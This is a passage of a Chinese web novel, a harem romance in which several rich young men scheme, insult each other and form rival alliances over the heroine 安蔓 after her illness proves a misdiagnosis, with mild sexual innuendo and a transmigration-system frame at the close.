说不定,就连上一次检查的结果是假的这件事,她也心知肚明,将他们耍得团团转! 崔英朗绷紧了下颚,牙齿紧咬,注视着安蔓,心中升起了莫大的荒谬感,有种浓浓的被欺骗感,他被骗了太多次,已经分辨不出安蔓的谎言。 崔英朗一字一句,质问,“你到底哪句话是真?哪句话是假?” 安蔓平静地抬起头和他对视,表情丝毫没有被戳穿的慌张,微微一笑,“你希望我哪句话是真,哪句话是假?” 崔英朗推开椅子站了起来,俯身看她,伸手捂住额头,闭了闭眼,“我真的已经分不清楚了。” 他心情混乱,被心底翻涌的情绪搞得有些恼怒,心里一方面为安蔓这次的愚弄感到愤怒又疲惫。 另一方面在心底最深处却微微释然,庆幸安蔓是健康的。 她没有生病,不会闭着眼睛奄奄一息地躺在病床上,这是好事。 但崔英朗有点无法面对她,被多次欺骗,让他内心难堪,从心里升起了一丝自我憎恶,不想面对安蔓,转身就走。 他越走越快,心情沉闷,表情阴森森的,可怖至极,外面的佣人管家都躲了个精光,走廊空空荡荡。崔元戴的私生子女,更是根本不敢冒头。 崔英朗眉间躁动,越走越快。 崔秘书有点担心在后面跟了上来,连忙劝说这位大少爷,“英朗少爷,你别激动,别生气,上次真的是误诊了,毕竟就像安小姐说的,她也没有办法操控医院,对不对?” 崔英朗声音阴冷,“她没办法操控医院的,但她能骗我!” 崔秘书有点无奈,崔英朗的父亲是万花丛中过、片叶不粘身的老手,但他自己,俨然是个不知所措的愣头青。 崔秘书索性把话说明白了一点,“崔少爷,如果我没有理解错的话,你和安小姐,不是恋人关系吧?应该是你在追求她吧?” 崔英朗咬紧牙关,想起安蔓之前的种种勾引,嗤笑,“是她先招惹我的,招惹完转身就跑!” 崔秘书点了点头,大概理解了情况,他作为崔家的秘书,拿着高薪,肯定是站在崔少爷立场上,真心实意地劝慰,“也就是说,她现在不喜欢你,而你还喜欢着她,是吗?” 崔英朗不吭声了。 崔秘书知道自己是说中了,有点没辙,没想到自己有一天还能当上恋爱指导,“喜欢一个人无非两种,把她的身体留下,或者是心留下。” 崔秘书试探:“但……崔少爷,恕我直言,安蔓小姐的追求者很多吧。” 崔英朗嘲讽地扯了扯嘴角,岂止是多? 所有人都跟在安蔓的屁股后面,像狗一样追着她! 就连他也是这样,被反复欺骗愚弄,痛苦至极,却仍然无法丢开手。 崔秘书也是跟过崔少爷一起拦截过私人飞机,甚至将人硬生生地从慕玉泽手里抢走的。上一位想将“身”留下的慕家少爷,至今还躺在医院里。 他耐心劝说着,“少爷,你现在也没办法留下安蔓小姐的身体,那就只能从心入手,你能做的只有讨好她。” 崔英朗听得恼怒,“我还不够讨好她吗!我只差跪下来求她了!” “少爷,你这可不像讨好人的态度。”崔秘书苦口婆心,“你这样转身就走,是想把机会留给江赫少爷吗?” 崔秘书话音刚落,两个人正好绕出一个拐角,消失一个下午的江赫,缓慢向这里走来。 崔英朗原本想走,看到江赫却硬生生止住脚步,“你看过检测报告了?” 江赫下午去处理公务了,回来的路上,手机就收到了崔秘书发来的电子报告,声音冷淡道,“嗯。” 崔英朗看他不顺眼,只觉得他装腔作势,“你就这个反应?” 江赫眉目冷峻,态度却很平静,他在车上时已经调整过一轮心情,“我很高兴安蔓小姐保持健康。” 崔英朗阴恻恻问:“你不生气她骗你?” 江赫语调也平静,听不出他内心真实情绪,冷淡说,“生气。但也高兴。” 说完后,仿佛才察觉过来一般,看向两人:“你要走吗?” 崔英朗原本想走的脚步,更是在地里生了根,想起崔秘书的话,咬牙忍下来,“不走。” 虽然生气,但他绝不可能把机会留给江赫。 他才不让这两个人单独相处,鬼知道要搞出什么。现在联手只是权宜之计! 江赫面色冷淡,真可惜,差点就把人赶走了。 他问:“你要和我一起去回去吗?” 崔英朗跟在他身后,又从刚刚出来的方向往回走,冷嘲道,“要。” 江赫像是完全没察觉到他若有若无的敌意,脸 上依旧是那副冷淡的死样,“你不用担心我做什么,现在我们是联手关系。” 江赫低头,掏出手机,在上面点了几下。 崔英朗的口袋里震了震。 江赫将手机收回去,淡淡提醒:“比起内讧,我们应该先解决外部矛盾。” 江赫说完,径自穿过走廊,走向安蔓。 崔英朗打开手机,TEL上被江赫发了几张图片,图片上是韶家那对双生子和慕玉泽给安蔓发的留言。 他眉头微拧,一路看下去,脸色渐渐扭曲,叮嘱崔秘书将安蔓和江赫两人看好,绝不要让他们单独相处后,特地走远了一点,才掏出手机打了韶景戈的电话。 等韶景戈一接电话,还没来得及开口,他已经劈头盖脸地骂出声,“贱人!” 韶景戈愣了一下,随后轻笑,“你看到了。” 崔英朗脸色狰狞,上次的事还没找韶景戈算账,这人又自己犯贱撞上来了,“韶景戈,你应该庆幸你不在我眼前,不然我现在已经把你送去和慕玉泽当病友了!” 韶景戈含笑反问:“是吗?” 他莞尔一笑,风度翩翩,一点也不生气,“如果你是带着安小姐一起,我愿意短暂出现在你眼前。哪怕被你揍。” 崔英朗怒不可遏,手指捏紧,咯咯作响,金色瞳孔里酝酿着危险的风暴,“你还敢跟我提她的名字!” 韶景戈优雅一笑:“为什么不敢?” 崔英朗听到他们的声音就反胃,“滚!” 这对兄弟假惺惺的面孔让他无比恶心,表面上装腔作势,衣冠楚楚,私下干着肮脏不堪的勾当。 韶景荻这个贱货,在他和安蔓关系最好、互相暧昧,基本上都要确定关系的时候,就敢背后撬墙脚,不知廉耻地勾引她,爬进她的裙子为她舔。 他哥更是青出于蓝,下贱的要命!表面上对安蔓毫不感兴趣,私底下却趁着他们将安蔓从江赫那里捞出来的间隙,将人带走,不仅恬不知耻地勾引弟弟的情人,还背着他们和她睡了。 这两人完全贱得出奇。 崔英朗倍感厌恶,只觉得最后悔的事,就是在韶景荻从安蔓裙子底下拽出来的时候,留了手,没趁机将他废了。 还有这段时间只顾着找人,没来得及把韶景戈也拖出来暴揍一顿,最好是直接揍进监护室,省得又出来发。骚! 崔英朗手指捏紧了手机,想了想,打开校内论坛,熟悉了一下格式,就想将两张图发上去。 结果退出来之后,才发现江赫不知道为什么,已经把那几张图撤回。 他眉头一皱,给江赫发个问号,对方并没有回应,手机对面的声音却又先开口 韶景戈轻轻一笑,声音柔和,“不要那么生气啊,阿朗,我们完全可以公平竞争——” 崔英朗厉声大喝,“闭嘴!” 他一阵恶心,回忆起刚刚点开江赫发过来的图片时,看到的文字,心口一阵作呕,声音也变得轻蔑。 崔英朗急着去看江赫和安蔓的情况。他不放心崔秘书,让这两个人单独相处指不定又擦出什么‘火花’。 毕竟安蔓一开始喜欢的就是江赫,前期完全是单向追逐他,现在两个人单独相处,指不定又旧情复燃…… 他没什么耐心,警告便准备挂了电话,“你们两个最好滚远点!” “不要生气,怒气伤肝。”韶景戈温文尔雅道,“天天生气你不觉得恶心吗?” 崔英朗把手机页面从TEL退出,一听这话禁不住地嗤笑,“听听你说的话,谁有你们兄弟恶心。” “我看你们发来的消息,怎么着,是准备两男共事一妻?” “你们两兄弟,要是真能共妻,是不是还准备一房当大,一房当小!” 韶景戈不以为意,根本不为崔英朗的辱骂生气,相反还挺淡定的,包容一笑,“听说你们今天去检查身体了,既然你现在还有心情过来骂我,说明安蔓小姐的身体状况良好,对吗?” 崔英朗急着去看安蔓:“滚!” “我真开心,我想亲自祝福安小姐一声,请问你方便让她接我的电话吗?还是说你已经拿走了她的手机。” 韶景戈在外人面前从来都是气定神闲,他很了解崔英朗,从他的态度里面不疾不徐,缓缓分析,“何必这么暴躁,你不像是会想到看安小姐手机的人,那么拿走他手机的是,应该江赫?” 韶景戈微微停顿,没有听见反驳,就知道自己是猜对了,不由轻笑出声,“阿朗,江赫心机可不浅,那几句话就把你勾得过来骂我,分明是把你当刀子使。不然怎么没见他自己来?” 崔英朗被说准了,有点烦躁,“你们两兄弟什么人找不到?为什么非要来纠缠她。” 韶景戈声音不疾不徐:“这句话应该还给你自己。” 崔英朗无语:“……安蔓又不喜欢你,你这么纠缠不怕她反感吗?” 韶景戈含笑摇头,转过头,看向坐在不远处的弟弟。 他的手机是外放,他和崔英朗的对话,他弟弟能够听得一清二楚,此刻正看了过来,专注地听着他们对话。 韶景戈莞尔:“不怕。她不喜欢我,但也不喜欢你,她只享受带给她快乐的人,无论那个人是谁。” 他捅刀干脆利落,“阿朗,你怎么会想到这点。你怎么会这么说,难道,是因为你的潜意识害怕这个……你害怕被她讨厌?” 崔英朗脸色扭曲,他被说中了。 “也对,害怕是正常的。毕竟,安蔓小姐会抛弃你一次,也会抛弃两次三次四次,我和我弟现在可碰不到她,比起我来说,你应该更担心江赫。” 崔英朗将手机攥的吱嘎作响:“……你以为你在这里挑拨离间有用吗?!” “这个不是挑拨离间,这是正常劝告。我可不希望,安蔓小姐太快和某人在一起。” 韶景戈微微一笑,“毕竟,时间还长,说不定某一天我们还有机会呢,你最好看好安蔓,时时刻刻看着她,千万不要让她一个人出现,像条狗一样拴在她身边,千万不要被我们找着机会。” “贱人!”崔英朗气得半死,挂掉了电话。 这两个贱人! 不远处有两个佣人端着果盘,刚走了过来,就被他扭曲的表情狠狠吓了一跳,差点没端稳手上的东西,“崔,崔少爷……” 崔英朗被气得脸色发白,“你们干什么?” 两个佣人手里分别端着切好的果盘,上面是各色的水果,有蜜桃、指橙、樱桃等,都是崔家采购的应季昂贵水果。 水果已经全部被剥皮去核,一一切好,被摆在精致的碟子里,颜色鲜艳欲滴,新鲜诱人。上面还插着牙签,方便食用。 “崔秘书说那位小姐想吃水果……”两人辩解。 崔英朗揉了揉额头,退开一步,“进去吧。” 他的眼神依旧阴沉,只是冷静了一点,韶景戈太了解他了,可以轻而易举地激怒他。 韶景戈故意刺激他、想从他嘴里打探消息,还试图挑拨他和江赫的关系。 对方几乎成功了,他和江赫是有矛盾,但是两人的关系绝会现在就分崩离析。 韶家这对兄弟确实团结,这是他们的优势,但这两人绝没有他和江赫的自由度。 江赫把他父亲送进了监狱,崔元戴虽然没进去,但是也没资格管他。 而与之相对的,韶家这对兄弟虽然备受家中宠溺,关系融洽,但是家里的长辈还健在,想必他们绝不会同意这两兄弟共、妻搞三p。 崔英朗掏出手机,打了个电话,“韶家长辈准备去旅游了吗?” “还没有呢,目前还在家里。” 崔英朗金色的瞳孔略带阴鸷,轻嘲道,“那就好。” “我交给你一个任务,你现在打电话给韶景戈的父母,告诉他们一个消息。”. 韶景戈挂了电话,摇了摇头,笑容有点无奈,“阿朗的脾气还是那么暴躁。” 虽然听崔英朗的语气,安蔓肯定没什么大事,但是韶景戈又打了个电话,派人去医院问了一遍,直到得到了确定的结果,才收起手机,松了一口气。还好,是误诊。 他扭头,望着坐在旁边的弟弟,走过去轻轻拍了拍他的背,“这下你放心了吧。” 韶景荻懒洋洋地靠着沙发,膝盖上放着一本诗集,扉页上写了一句小诗:爱是刺入胸口的荆棘。 他没什么精神地翻了翻书,说不清自己的情绪,空落落的,有点迷茫。 韶景戈还在安抚他,“别担心,阿荻,我们会有机会的。崔英朗和江赫不可能永远看着她。” 韶景荻嘟囔,“我知道。崔英朗这个家伙怎么嫉妒心这么强!有本事让咱们的校花小姐自由选择啊!” 韶景戈沉默片刻:“是啊。” 韶景荻往后一仰,把书合上,“我们就是更讨人喜欢,有什么办法,” 话是这么说,其实他心里知道安蔓谁都不喜欢。 她完全是一视同仁的漠视。 不管他们爱她,恨她,被她吸引,自顾自地远离,对她来说都无关紧要。 她什么也不需要做,所有人就像卫星一样被她的引力吸引。 两个人忽然都沉默下来,肩并肩地坐在花园里,晒着温暖的日光,韶景荻一向开朗,现在心情难得有了一丝惆怅。 这点惆怅没有维持多久,很快就被人打破,管家走进庭院,弯下腰提醒两人,“少爷,韶先生和夫人找你们。” 韶景荻和兄长对视一眼,出了庭院,回到室内,韶父和韶母坐在一起,表情有些怪怪的。 说不上是高兴,也说不上是不高兴。 韶母见到两人怪异地笑了一下,推了推丈夫的肩膀,“你先走,我和他们单独聊聊就行。” 韶景戈温和地问,“母亲,有什么事吗?” 韶母欲言又止:“我最近听说了一些事……关于你们两个的。” 韶景荻和兄长对视了一眼,有些啼笑皆非,这个时间,韶母这个表情,很难让人不猜到是崔英朗告了状。 韶母表情有些微妙,似乎在斟酌自己该不该开口,“我听说了一些你们情感方面的事情,但我不相信外人的话,所以想来问一下你们俩。” 韶景戈答非所问,温和道:“母亲具体是想为什么呢?” 韶母顿了顿,“就是,你们两个喜欢上了同一个人?” 韶景荻笑着走过去,揽住韶母的手臂,轻轻晃了一下,光明正大的撒娇,“怎么了?我们不能喜欢同一个人吗?” 韶母愣了愣。 韶景荻笑容灿烂,理直气壮的开口,“我和我哥的爱好、兴趣,都是一样的,喜欢上同一个人很正常呀。” 韶景戈默契接话:“我们并没有谈恋爱,只是喜欢阶段。” 韶景荻:“就是呀,人家未必喜欢我们,答应跟我们在一起呢。妈,你怎么突然问我们这些,太奇怪了。” 韶母表情有些疑惑,既对现状有点茫然,又见他们即使喜欢上同一个人,但也有说有笑,没有吵架争执,而感到欣慰。 她迟疑一下,“那……” 韶景荻笑嘻嘻和她撒娇,“唉呀,八字还没有一撇的事!要是有消息我再告诉你,什么呀莫名其妙问这个,搞得我害羞了,妈,难道你要对我提供恋爱指导吗?” 韶景戈柔声道,“感觉你们似乎误解了什么?父亲那边,请您帮我们解释一下吧。” 韶母被两兄弟几句话说的团团转,又是困惑,又是欣慰好笑,连声说,“好。” 韶景荻将母亲哄得眉开眼笑,将整件事情糊弄了过去,忍不住皱眉,小声抱怨,“崔英朗这个碎嘴子,说不过我们居然告状!” 说完了之后他自己就笑了,“本来不打算说的,这下好了,提前过了明路,可以光明正大地追求了。” 也不知道崔英朗听到这个消息开不开心,希望他不要气得半死。 韶景荻不知道安蔓的手机在谁那里,不过这不妨碍气人,他弯着嘴角,故意又在TEL对安蔓发过去几个情去用品的链接。 其中有皮鞭、麻绳、足踝铐、奴役皮革颈圈……琳琅满目,五花八门。 韶景荻哼笑着发完了信息,【主人,我已经买好了东西,随时等你[心]。】. 崔家。 江赫西装外套里的手机,收到最新消息,轻轻振动了一下。 THE END 第94章 第94章结束 94. 韶景荻发完了短信,眼睛一转,在手机上又输入了慕玉泽的号码,发送信息。 等到发完了之后,他才把手一挥,将手机扔在一边,笑眯眯地在兄长旁边坐下。 韶景荻笑容灿烂:“哥,我觉得光靠我们两个,还是有点勉强,我给我们找了一个盟友。” 不用想也知道,那两人在之后的时间里,肯定跟狗一样跟在安蔓身边,把她的周围堵得密不透风,连苍蝇都飞不进去。 他们兄弟想要突破障碍,最轻松的选择,还是借力打力。 韶景戈问:“慕玉泽吗?” 韶景荻点了点头,这个搅屎棍是最好的选择,反正他被崔英朗已经揍了一顿,也不差第二顿。 不用脑子想也知道,像安蔓这样,漂亮优秀、花心风流的人,不管选择跟谁交往,都必定会掀起一阵腥风血雨。 反正她现在还没有喜欢的人,选谁不是谁选,还不如选择他或者他哥! 只要周围那群乱七八糟的苍蝇自动消失,日久生情是迟早的事。 韶景荻想得非常透彻,跷着二郎腿舒舒服服地坐在沙发上,真情实感地说,“咱们可爱的校花小姐,现在想要清静,只有一个方法,就是选择一个可靠的交往对象。” “这个正确的人交往,选择我还是哥哥,都是一样的。” “反正我们不会嫉妒彼此。” 韶景荻真情实感地说,“哥,比起那群人,我们才是他最好的归宿。” 慕家 慕玉泽大半张脸被包着纱布,裸露出来的皮肤又红又肿,惨不忍睹。进入夏天,他只穿了一件简单的T恤,裸露出的手臂上还有微肿的淤青,布料下被揍出的痕迹更多。 他面带微笑,不见丝毫的不耐烦,蓝宝石一样的眼睛温柔似水,淡定地听着母亲的辱骂。 “我早该知道你这种人能找到什么样的对象!果然,那种不三不四的人你也有脸带回家,你就承认吧,你到底是不是联合外人来骗你爷爷的控制权!” 慕母早有先见之明,一开始就觉得长子和他带回来的女生不是正经人。最后,果然不出她所料,两个人度假没成,这孩子一个人带了一身伤回来! 而且听外面的人说,慕玉泽受这一身伤,还是自作孽,谁叫他要抢人家的女朋友。 慕母气势汹汹地指责,她不是偏心,而是早就看透了自己的儿子是什么货色,对他失望透顶,“给我道歉!然后跟老爷子道歉,说清楚,你们根本不是真情侣,她只是你找来演戏的人。” 慕玉泽打断:“母亲,你就别在这里撒泼了。” 他笑容清纯,语调甜美,内容却带着一种漫不经心的刻薄,“你现在的样子真的很难看,真该照照镜子。” 慕母被他的话惊了一下,随即怒气十足,难以置信,慕玉泽虽然有时候很可怕,但是基本上都不会跟她顶嘴,“慕玉泽!你怎么敢这么跟我说话,你从小就心理不正常,现在也不挑食,人家明明早就有恋人了,怎么可能是你的女朋友,你说谎!” 慕玉泽笑容甜蜜又恶毒,毫不留情的揭人老底:“上行下效啊,母亲。你当初能和别人抢父亲,现在我当然能和人家抢老婆。” 他兴味索然,母亲总是旁边吵吵嚷嚷,当看戏固然有趣,但是有时候真的有点吵。 他已经想要结束话题,“爷爷已经确定了继承人,是我。” 慕玉泽蓝眼温柔,声音甜蜜,一句话把慕母说得原地跳脚:“母亲,你就闹吧,越闹,爷爷的心越偏向我,你就越拿不到 财产。” 他打发掉在旁边吵吵嚷嚷的母亲,回到房间,拿出手机,查看刚刚别人发给他的消息。 消息是韶景荻发的,非常有趣。 [Hello玉泽好久不见,虽然你和我们校花小姐私奔了,但是我并不怪你,毕竟她的魅力没人可以抵挡。] [我是来向你提议的,我们联手怎么样?] [崔英朗和江赫现在像两只癞皮狗一样守在校花小姐身边,与其单打独斗,不如我们联手,先把崔英朗和江赫拉下去,后续各凭本事,看谁先能取得她的心。] 慕玉泽蓝眸微动,真是个诱人的提议。 既能报复崔英朗,也能靠近安蔓。 他关上房间门,把母亲的歇斯底里拦在门外,低声和爷爷汇报了母亲的情况,然后又用无比沮丧的语调,伤心道,“爷爷,我的女朋友被人抢了,我好沮丧。” 老家主听下属说过,孙子抢了人家的女朋友、最后被人揍了一顿的事,因为理亏,所以也没找上门来算账。 他本来不想管的,被孙子这么一句,搞得疑惑起来:“难道你准备放弃了吗?” 慕玉泽声音为难,“竞争对手太强大了,我不知道该不该继续。” 老家主震怒,“不争气的家伙!对象是要靠抢来的,要不是在这里哭哭啼啼,你以前的血性都去哪了!” 慕玉泽诧异:“爷爷,你的意思是支持我抢人家女朋友咯?” 老家主总感觉自己这话,好像送孙子去当小三,随后摇摇头,赶紧说清,“我就帮你去问过,人家没确定关系的,既不是女朋友也不是未婚妻,你喜欢的话就好好去抢、去争!难得有你感兴趣的人。” 慕玉泽声音感动:“谢谢爷爷。” 他挂了电话,表情有些索然又有些兴奋,身上的伤口还在隐隐作痛,越这样越刺激神经。 慕玉泽是故意让母亲骂的,让她骂了一顿,一切变得更理直气壮,老爷子也会更心疼他,他现在虽然不需要利用安蔓取得爷爷的信任,但在真正继承财产前还要继续演下去。 他觉得他很快就会失去兴趣,又觉得自己永远不会失去兴趣,只要安蔓永远和现在一样魅力四射,周围围绕着一群天之骄子,像现在这么光彩夺目,他就愿意永远跟随下去。 慕玉泽分不清自己是喜欢刺激,享受和他人争夺的快感,又或者是安蔓本身的炫目吸引。 归根结底,他还从未得到过。 会不会失去兴趣,必须等他先得到后才能确定。 慕玉泽划开手机,点开韶景荻的对话框,清纯漂亮的脸上露出一抹微笑,打字发出。 [好,从哪里开始?] 短信刚发过去,双生子的视频就打过来了,他刚刚接通了,屏幕上就出现了韶景荻隽秀好看的脸。 韶景荻打了一声招呼,“你好啊,玉泽。” 慕玉泽挑了挑眉,“怎么不是你哥,他不愿意见我吗?” 韶景荻轻轻翻了个白眼,即使做出这种姿态,他那张好看的脸蛋上依旧,说不出的文雅,“明知故问,你当着他和安蔓接吻,他不揍你就不错了!” “好了,不要再扯东扯西了,言归正传,我有个计划。” 韶景荻笑嘻嘻地开了口,“就让我们一起把校花小姐抢走吧。”. 崔家。 安蔓坐在沙发上,刚开始有点心虚,等把崔英朗气走后,又松弛下来,自顾自地吃起葡萄。 崔家的葡萄肉眼可见的很贵,这些东西,贵有贵的道理,吃起来滋味极佳,让她很满足。 江赫刚开始进来的时候,她还抬了一下头,以为他也要质问,准备了一肚子气人的话。 结果江赫一言不发,坐在她的面前,沉默地看着她吃水果。 过了一会儿,他口袋里的手机震动一下。 江赫拿了出来,看了一眼,脸色冷了下来。 那部手机纯红色,大屏幕,机身线条流畅,还带防定位系统,是慕玉泽送给她的礼物。 安蔓轻轻挑眉,“江级长,那不是我的手机吗?” 江赫将手机递给她,“手机上午进水了,我让人拿去修了,现在已经可以正常使用了。” 安蔓拿回手机,看了一眼,眼睛微微瞪大。 屏幕很大,画面清晰,一眼就能看清韶景荻发来的图片。 皮鞭、项圈、镣铐,五花八门。 几乎让人能想象出来它被用在人身上的样子。 韶景荻太骚了,居然找出那么多乱七八糟的东西。搞得她有点心痒。 而且韶景荻服务意识很不错,这些东西买回来,和他一起用,感受应该不赖。 安蔓感兴趣,忍不住扬起了嘴角。 现在不方便回复,她把手机放进口袋,声音甜滋滋地道谢,“谢谢江赫少爷帮我修手机。” 说完后,等待对方开口,和崔英朗一样问她关于体检的问题。 但江赫还是没有提起这个话题,反而默了一会儿,问她,“之后有什么想做的吗?” 安蔓思考了一会儿,笑容甜甜的,点点头,又摇摇头,“目前没有什么特别想做的,这次虚惊一场,我觉得最重要的还是自己的感受。” 她想了想,“实在要说一个最的话,我就想好好享受人生。” 江赫点了点头,其实这是一个挺宽泛的回答的,还带了一丝敷衍,但他平静追问,“你对享受人生的具体定义是什么。” 崔秘书在门口守着,不知道他怎么想的,就是不懂离开,给他们两个让出私人空间。 但他又很贴心,见到安蔓一直吃水果,让佣人送了好几盘洗,净切好的新鲜水果,摆在面前。 安蔓吃了几块樱桃,樱桃味道清甜,口感很好,滋味十足。 安蔓美滋滋吃了几块,认真思考了一会儿,才回答出自己的定义,“吃喝玩乐吧。” 江赫扫了一眼她的脸庞,眼角微翘,清新秀丽,脸颊浮现嫣红的血色,睫毛又密,看起来血色充盈,比起最开始苍白冷漠的模样,多出了一份积极向上的朝气。 江赫抿了抿嘴唇,面容微冷,具体的话安蔓没有说得太直白,但是全写脸上。 刚刚看到韶景荻的消息时,她笑的别提有多感兴趣了。 江赫问:“玩什么?” 安蔓睫毛一扬,然后有趣味,打量他的表情,“你猜。” 玩玩游戏,玩玩男人,不然还能玩什么。 江赫面容冷峻,读出了她的潜台词,她居然那么喜欢……那样! 安蔓吃完了樱桃,又开始吃草莓,充满期待地看着江赫的表情,等待他的反应。 这几位男主中,崔英朗给她的感觉就像是炸药桶,双人组则是玩得很花的一对兄弟。而作为反派角色出场的慕玉泽,则如同书里的标签一样是个坏种搅屎棍。 而江赫则不同,虽然身上贴了冷漠内敛、高岭之花的标志。但是和其他几位比起来更像什么都没玩过的老实人,保守得要命。 韶景荻这种烧的虽然让她感兴趣,但是逼迫老实人也很好玩呀! 安蔓看出了他没有质问的意思,心情很好,顺水推舟地询问他,“怎么了江少爷。” 江赫沉默片刻,突然开口:“我喜欢你,我想问问你,需要付出什么代价,你才能留在我身边。” 安蔓有点惊讶,笑容更甜了。 江赫以前那么犯贱,现在倒是贴心了起来,碰都不让人碰,简直像个贞洁列夫。睡过一次,变化这么大! 她最喜欢倒贴货了,攻略太难了,她好累,任务结束后就应该好好享受成果,让这些人全部来倒贴她。 安蔓笑容明媚,眼睛闪亮,“让我思考一下,首先我最喜欢钱。” “想要获得我的感情,首先要有钱。” 江赫面色冷漠,脸色变都没变。 他从很早开始之前就知道,安蔓爱慕虚荣,自私自我,爱钱。 江赫:“我有钱。” 安蔓知道他有钱,男主哪能没有钱呢,她看小说都要剔除穷鬼男主。 她心情很好,一项项给他数,“其次 ,要长得好看。” 这几位男主显然都符合这个标准,丑男人也是剔除她的择偶圈的。 “然后要各方面达标。身材好,8块腹肌,体格健壮,还有……” 安蔓向下瞟了一眼,不动声色地收回目光,点了点头,这个标准就没必要提出来量化了,“……然后要对我好,舔我,讨好我,谄媚我,以卑微的姿态向我求爱。” 晃晃悠悠地说完了一大串标准,江赫的脸色都没变,但是早就做好了心理准备。 安蔓是哪种人,可能提出什么要求,江赫然后就有所预料,心知肚明,“好,我知道了。” 安蔓轻声细语:“这只是给你一个机会哦,如果你能做到这几点的话,我就给你追求我的机会——对了。” 安蔓突然想到最重要的一点,江赫稀烂的技术,不禁有点头疼。 她咬了咬嘴,江赫各方面其实都挺好的,但是技术真烂,让她又舒服又痛,难受得不行。 安蔓嫌弃他的技术,这个必须练练! 她挑剔说,“你多向韶景荻学习学习,多看点小视频,练习练习,必须让我满意了,我才会给你这个机会。” 崔秘书本来在旁边发呆,因为这两位刚开始都没说什么话,后面聊天,聊得也跟感情没什么关系。 结果突然峰回路,江少爷也不开口则已,一开口就是这种内容,安蔓的小姐的回答也把他吓到了,连忙暗暗往外看,祈求少爷赶紧回来,再不回来他们两个就要达成协议了! “还有吗?”江赫问。 安蔓找了半天没想出有什么标准,只能勉强点点头,提出第1个要求,“我不住这里,要住酒店。” “好。”江赫握住安蔓的手。 他这表情依旧冰冷,如同寒冽锐利的雪花,英挺锋锐,冷峻傲慢,看起来不会为任何事有所波动,声音毫无波澜,就连手指也微微发冷。 江赫面无表情,握着安蔓指尖,只有这样他才能掩盖自己心底的情绪,日日夜夜,内心被妒火烘烤。 他冰冷的表象下充满了拙劣的厌恶和痴迷,他嫉妒一切向安蔓靠近的人,如果不是崔英朗先出手那天,他会提着慕玉泽的头发把它从飞机上扔下去! 江赫蹲在安蔓跟前,握着安蔓的手,轻贴自己的脸颊,漆黑的头发落在额头上,幽绿色的眼睛向上看,突然问,“安蔓,你想我吗?” 安蔓不假思索:“当然想。” 江赫清晰地知道她在撒谎,冷淡地扯了扯嘴角,迎合说,“我也想你。” 他知道自己是当下是单相思的,也知道自己隐藏在冰川下,汹涌热烈、不住涌动的情感有多么狰狞。 但是,不能释放,不能说,不能表露,对方随时可能跑,他只能用这种拙劣不堪的方法将她留下来。 江赫抬起眼睛,目光眨也不眨,幽绿色的瞳孔深深看着安蔓,像是要将她的每个表情,皮肤上的每一个细节映入瞳孔。 江赫说:“我会学的,你喜欢什么?你更喜欢我提升技术,还是我学韶景荻。” 安蔓有点吃惊,睫毛动了动,眼睛里露出笑意,“这么主动啊,江少爷。” 江赫嗯了一声:“你觉得怎么样?” 安蔓想了想,摇头,“算了,你别学韶景荻。” 主要是学也学不像,如果让他去学,感觉会学成奇怪的样子。 江赫又没有那股烧味儿,他这种高冷的货色更适合一脸高傲地做出银荡的事。 江赫说:“好。” 崔秘书在旁边听了半天,这两人的声音不大,有些他听清楚了,有些没有,只是越听越不安,甚至连房间也不想待了,干脆转身出门找崔英朗。 崔秘书终于找到人的时候,崔少爷还在打电话,他赶紧叫住对方,“少爷,大事不好了。” 崔英朗刚刚到处给人找麻烦,又慕玉泽挖了个坑,亲自给慕家夫妻打个电话,心情愉悦得要命。 懒洋洋问,“怎么了。” 崔秘书赶紧汇报刚刚的事,“……安小姐和江少爷聊得特别深,崔少爷,你赶紧回去吧。” 崔英朗听完了,脸色发冷,一个二个都这样。 韶家那对兄弟就算了,怎么江赫也开始学那种要脸的套路了! 崔英朗给人挖完坑后的好心情荡然无存,转头走回房间,清了清嗓子,悄悄偷听他们两个在聊什么。 江赫这个不要脸的,果然在勾引安蔓,唯一的好消息是她挑挑剔剔,没有答应。 崔英朗心情有点复杂,一方面痛恨安蔓的薄情,一方面又对此庆幸。不然,要是她真爱上了某个人,很难想象他会不会做出什么偏激的事。 崔秘书在旁边听得心惊胆战,看见少爷的表情,一会儿皱眉,一会儿阴鸷,一会又像是想起了什么糟糕的事情变得恐怖而阴森,不用提醒,“少爷……” 崔英朗深呼吸,像是终于给自己做好了心理建设,阴森森一笑:“不就是讨好人吗?谁不会啊。” “我也可以去学韶景荻那种下贱的手段。” 他冷冷一笑,故意在门口用力咳嗽几声,然后才迈开脚步走了进去,停到江赫旁边,轻声警告,“江赫。” 他们已经达成了默契,先把其他人赶走,其他的最后再论,只要她没有喜欢上任何一个,所有人就都有机会。 崔英朗绝不允许江赫私底下偷偷勾引她! 江赫松开安蔓的手指,站了起来,表情淡漠地打招呼,“崔英朗,你来了。” 崔英朗阴阳怪气:“你们刚才聊得很开心啊!” 江赫仿佛没有听到他的语调,口吻冷淡,“来的正好,刚刚我和安蔓小姐商量过了,她不想住在这里,我们可以让她在附近就近入住。” 崔英朗看不惯他脸上那种装模作样的表情,阴冷的视线扫向安蔓,勉强勾起嘴角,忍着恶心温和道,“你是怎么想的呢?” 安蔓神清气爽,感觉崔英朗的态度,终于对味。 没错!就是这种疯狗咬牙切齿,拼命约束自己,用尽浑身力气忍耐的表情。 明明想要发癫,却为了某种目的拼命忍耐,不得不控制情绪。 太对味了,让她神清气爽,心平气和,觉得崔英朗此时此刻的姿态格外顺眼。 安蔓轻笑:“我想住酒店。” 她心情很好,果然攻略的人多了还是有好处的,要是只攻略一两个,哪有这种待遇啊,就是因为海的人多了,让他们相互制衡,自我内卷对她才有好处。 比如这次,崔英朗虽然想把她留在崔家,但是旁边多了一个江赫,再加上她自己的意愿,最后没有强留,而是就近选了一家酒店。 安蔓开开心心,再次入住了顶层套房,大晚上的,即使江赫和崔英朗都有意留下,她也装傻地关上了房门。 最后一个人在顶层的套房,趿着拖鞋,站在落地窗边,悠哉游哉地欣赏窗外的夜色。 系统冷不丁地出声:“亲爱的宿主,请接收完成任务的第2项奖励。” [奖励2,宿主可以在《德川高校的秘密恋情》和《现实世界》2选1,选择回归世界。] 系统和安蔓吵也吵过,骂也骂过,而且还骂不过,天天被羞辱,终于要把人送走了,心情也很好。 系统:“宿主大人,选择自己的回归世界。如果选择回归现实世界,必须清除记忆哦。” 安蔓没有立刻做出选择,而是慢吞吞地给自己倒了一杯香槟,装腔作势地站在落地窗边,沉思一会:“我一定要现在选吗?” 系统想了想:“倒也不用,你可以想好了之后再选。你要留下来?” 安蔓:“不留。” 系统:“?” 安蔓:“但也不走。” 系统:“??” 